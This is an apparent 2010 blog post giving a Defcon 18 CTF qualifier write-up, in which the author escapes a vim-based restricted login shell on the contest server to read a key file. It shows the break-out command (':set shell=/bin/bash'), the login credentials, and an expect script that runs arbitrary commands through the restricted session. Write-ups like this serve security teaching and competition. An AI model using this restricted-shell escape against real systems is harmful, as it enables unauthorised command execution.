THURSDAY, MAY 27, 2010

Defcon 18 CTF quals writeup - Trivial 200

Trivial 200 was an evil blind VIM terminal you had to escape from.

Description: *sheep@pwn21.ddtek.biz:6000 sheep go baaAaaA*

One could simply SSH to the server with ssh -p6000 sheep@pwn21.ddtek.biz and use password baaAaaA.
However, it appeared that the server was overloaded and most of the time SSH did not work. The solution is to connect to SSH continuously until it works with some shell scripting:
while true; do ssh -p6000 sheep@pwn21.ddtek.biz; done

Once connected, you get a black screen with nothing but rapidly discover you are in VIM text editor.

About the black screen and nothing displayed, you could either:
- under Windows with PuTTY uncheck Window/Colours options
- select text and copy/paste it elsewhere, the content is here
- write some expect to automate SSH connection and sending of commands and be able to pipe the output of SSH

A few useful VIM commands:

```
:q! => quit
:o => open a file
:!<command> => run command *in default shell*
```

We tried to list files with `:!ls` but it did not work. So we opened */etc/passwd* with `:o /etc/passwd` and discovered that the default shell of sheep user was */usr/bin/vim*. Simply change it with:

```
:set shell /bin/bash
```

Then we were able to list files (`:!ls`) and view the key file:

```
-rw-r-----. 1 root sheepy 13 May 22 00:01 key
```

Just open it with `:o key` to view the key: **SHis4pansies**.

At the same time, I was doing some expect & shell to get the key. Expect comes very handy when you want to automate things or when you want to get the output of an interactive program such as ssh. Let me show you this solution as a small introduction to expect.

The expect script:

```
$ cat ssh-cmd.expect
#!/usr/bin/expect -f
set cmd [lindex $argv 0]
spawn ssh -p 6000 sheep@pwn21.ddtek.biz
expect "*?assword:*"
send -- "baaAaaA\r"
```

SEARCH THIS BLOG

Search

powered by Google™

BLOG ARCHIVE

► 2011 (4)

▼ 2010 (37)

► November (3)

► October (2)

► September (4)

► August (1)

► July (8)

► June (2)

▼ May (9)

Defcon 18 CTF quals writeup - Forensics 100

Defcon 18 CTF quals writeup - Packet 200

Defcon 18 CTF quals writeup - Trivial 200

Defcon 18 CTF quals writeup - Packet 100

Defcon 18 CTF quals writeups and scoreboard

CITCTF write-ups, Defcon

Small OpenVZ admin and backup scripts

OpenVZ 2.6.32, soon Proxmox kernel 2.6.32 with KVM...

UDP scan with ICMP port unreachable and scapy

► April (1)

► March (4)

► February (1)

► January (2)

► 2009 (9)

CONTACT

```
sleep 1
send -- ":set shell=/bin/sh\r"
send -- ":!$cmd\r"
send -- ":q!\r"
expect eof
```

The shell script that runs expect and filters the output for us:

```
$ cat ssh-cmd.sh
#!/bin/sh
# remove these annoying [ terminal color codes
./ssh-cmd.expect "$*" | strings | grep -v '^\['
```

List files:

```
$ ./ssh-cmd.sh ls -l
spawn ssh -p 6000 sheep@pwn21.ddtek.biz
sheep@pwn21.ddtek.biz's password:
Last login: Sat May 22 05:34:03 2010 from x
total 4
-rw-r-----. 1 root sheepy 13 May 22 00:01 key
Press ENTER or type command to continue
Connection to pwn21.ddtek.biz closed.
```

Cat the key:

```
$ ./ssh-cmd.sh cat key
spawn ssh -p 6000 sheep@pwn21.ddtek.biz
sheep@pwn21.ddtek.biz's password:
Last login: Sat May 22 05:34:18 2010 from x
SHis4pansies
Press ENTER or type command to continue
Connection to pwn21.ddtek.biz closed.
```

Done!

POSTED BY STALKR AT 03:43
LABELS: CTF, DEFCON, EXPECT, NIBBLES, SSH, VIM

---

1 COMMENTS:

bik3te said...

Super intéressant le petit point en plus sur expect, je te remercie!

DECEMBER 29, 2010 4:19 PM

POST A COMMENT

Email - PGP - Twitter

LABELS

ctf nibbles linux defcon python exploitation codegate smpctf csaw hack.lu scapy wireshark autopsy bash citctf crypto diff dns forensic forensics freebsd hes insomnihack ipv6 lvm netcat nmap openwz pam pcap raid rsyslog setuid shmoocon sleuthkit ssh stack syslog-ng vim wake-on-lan wol 0day 27c3 asr backdoor bucklyns c caesar capabilities chuck cpu cron curl dd decss disks dns elocdic expect find firefox firemaster firepassword forensic fries.fr gdb getcap ghost in the shellcode google got gregu hardlink hexdump hitb honeynet icmp id3 ida ide invitation iodine iptables iputils ipv6 irc javascrimpd kernel kingcope kousa lcg links lvm mbuf ndp netfilter notification openssl overflow overthewire owb packcon pam_exec performance ping posix proc procps prosonic proxy ps puck race rar remote reverse rsa scalpel scan scripts secondary securitybydefault setcap shirl sheepdog shell smartd smartmontools socat sockets sql sqlite sscat ssl strcpy tavisi timestamp tinnes tls trojan tunnel ubuntu ucl udp unrealircd vermum vnc wave web wget xmbstarlet

---

BLOGS I READ

0vercl0k's blog.
15 Minutes of Fame
ADD / XOR / ROL
AJollyLife
Akhenath0n's blog
...And You Will Know me by the Trail of Bits
argp's blog
Artiflo Inside
Attack Vector
Ayman Hourieh's Blog
Baboon's Blog
Beware of soapy frogs
Binary world for binary people :)
BinProtect
Blog ESEC Lab
Blog Haypo
Bruno Kerouanton
c0llateral Blog
CALL EAX
Catch22 (in)security
Cedric PERNET - Computer Security, Forensics, Malware & Cybercrime

Comment as: Mike (Google) Sign out

Post Comment Preview Subscribe by email

LINKS TO THIS POST

Create a Link

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)

Christophe Devine's blog
Cisco Basics
cloud's Blog
Computer & Incidents - life.
cr0 blog
C skills
Cupfighter.net
Cup of Security
Daily Dave
Dan Rosenberg's blog
Darknet - The Darkside
Debian or not to be ? 2.0
Debian Security
DEFCON Announcements!
Denora Stats
Deobfuscated
/dev/random
En toute sécurité?
esiea recherche
Expert: Miami
Exploitability
EyeDeal's Blog - About design, open-source, Linux...
falken's blog
Feed the Mind
F.E.E.K.S
Felix Aime's blog
FZ Blog
GCU-Squad!
Geekfault.org
Geo's blog
Ghosts In The Stack - Articles
Ghosts In The Stack - News
Ghosts In The Stack - Programmes
Gmail Blog
good coders code, great reuse
Google Code Blog
Gustavo Duarte
hack3r.com
ha.ckers.org web application security lab
HyP
Icy Silence
Iljas Blag
infond
Ivanlef0u's Blog
Jeremy's Computer Security Blog
Just Another Geek
kmkz's blog
Ksplice
L33ckma's blog
lab.lonerunners.net
L'admin sous Linux
La Quadrature du Net
La Sécurite Offensive
lcamtuf's blog
Le blog de NicoLargo

Le blog de Vincent BOUZON - Coding for fun, c0ding with Vincent BOUZON !
Le Laboratoire de Shp
Le petit monde d'un pentester
Lilxam
Lilxam old blog
Linux attitude
Linux.com - Content Feed
LOTFREE - RSS
MAIDEN-fr
Making network protocols go crazy
Matasano Chargen
Matthieu Suiche's blog
mindkind.org
Misc's feed only blog
MISSION: Security
Musings of a CSM
Mysterie's blog
n0ah's blog
n0secure.org - Sécurité Informatique
Nadia Alramli's Blog
Nap's mini world
NeoMorphS's Blog
newsoft's fun blog
newsoft's microblog
newsoft's tech blog
Nibbles comments
Nibbles microblog
Nynaeve
OpenRCE: Articles
OpenVZ
oxff: Georg Wicherski
Packetstan
PaulDotCom Community Blog
Peering Inside...
Pekka's Blog
PenTestIT
Pérégrination d'un wanabee-hacker
Peter Van Eeckhoutte's Blog
Philippe Langlois weblog
pi3 blog
:: Plaid Parliament of Pwning ::
Planète des utilisateurs Debian
Planet Libre
Plastic Soup Taste
Pollux's blog
pp^'s Blog
rAsM's Blog
redstack
Reiners' Weblog
Reusable Security
Room362.com RSS Feed
root labs rdist
Ryscrow's blog
Secdev - Thierry Zoller
securitybananas.com

Security Blog by Nagareshwar
Security-Labs.org Blog
Security Research by Alexander Sotirov
Segmentation fault
Sevagas
Sh4ka.fr - Security For Fun
Sid (Cédric Blanchet): Ma petite parcelle d'Internet...
SilkCut's Blog
Silviocesare's Weblog
SkullSecurity
(Slightly) Random Broken Thoughts
Social Engineering - How to Influence and Prevent Deception
Spirit of Hack
Steal This Blog
Sucuri Security
Sygus.net
synapse's security blog
Syn
Sysdream
Taltan.blog.bkp
TaoSecurity
Tech@Sakana - A sysadmin's blog
tehfunnie
Tenshy's IT Blog
::Th3 Under9RoUnd Rev0Lut!oN::
The G33k
The Grey Corner
TheHackAdemy.net
The Invisible Things Lab's blog
The Official Google Blog
Think-Security
/tmp/lab
To Linux and beyond !
Tricks of the Trade - Sebastien Raveau
Tryks'blog
Tux-planet
Uninformed Journal
Unintended Results
UNIX Garden
UnrealIRCd RSS Feed
Victory, not vengeance.
virtualabs.fr
Vue de dessous ...
w4kfu bl0g
www.nologin.org
xchg.info
XMCO Partners
Yoann's Blog